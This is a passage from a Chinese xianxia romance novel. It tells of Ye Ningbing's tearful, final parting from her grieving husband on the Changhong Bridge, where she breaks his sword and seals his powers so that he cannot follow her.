叶凝冰轻笑了一声,又道:“侠客从来都是无拘无束的,我们相见于世间,当然也得相忘于世间。”
他不肯听,不住地摇头,想去牵她的手,叶凝冰避开了,转开了头,迎着绿水青山,呼吸加快,“如何不算件好事。毕竟我可是要去那梦寐以求的天上大明处,做桃花仙子了,以后天天都能喝到桃花酒,真是…真是……”
她咬住唇,抑制住奇怪的声音,许久,才深深吸气,迎风笑着说,“真是太好了!”
他心口震颤,低着头,近乎哀求,“可你不能丢下我,我们要一起要一起…叶凝冰,凝冰……你不能,不能丢下我……”
她好久才道:“不行,你之前答应过我的,委托的报酬只属于我一个人,所以那些桃花酒都归我。”
他沉默着,知道这几乎是见她的最后一面,哽咽一声,眼泪啪嗒啪嗒往下砸,一路浸湿衣衫。
牙牙学语的孩子尝到了痛彻心扉的苦味,忍不住心神不定,嚎啕大哭。
叶凝冰抬起手,却在即将碰到她时收回了手,她轻轻呼吸了一下,眼睛更热了一分,迟迟未有动弹。
而这对哭得如此伤心的年轻夫妇早已经吸引了桥上、桥下的所有目光。
有好几位热心肠的大娘都想着劝劝这对夫妇,床头吵架床尾和,夫妻俩哪有隔夜话,更何况,什么都不顾及,也得想想孩子啊。
若是如此轻易也就万万好了。
但偏偏不是。
叶凝冰终究无法停留,她亲手碎了他用以追上她的长明剑,残忍地封禁了他的灵力,赌死了所有的路,最终决绝地转身而去。
唯月如金伤到呕血,绝望地叫着她的名字。
哭着、跪着、爬着,声声泣血,要追上她,哪怕是她的背影——
但追不上,永远都追不上。
一如三十九年前那个长夜。
而留在黑暗里的人,永远只会有他。
……
长虹桥一别,世间从此再无叶凝冰。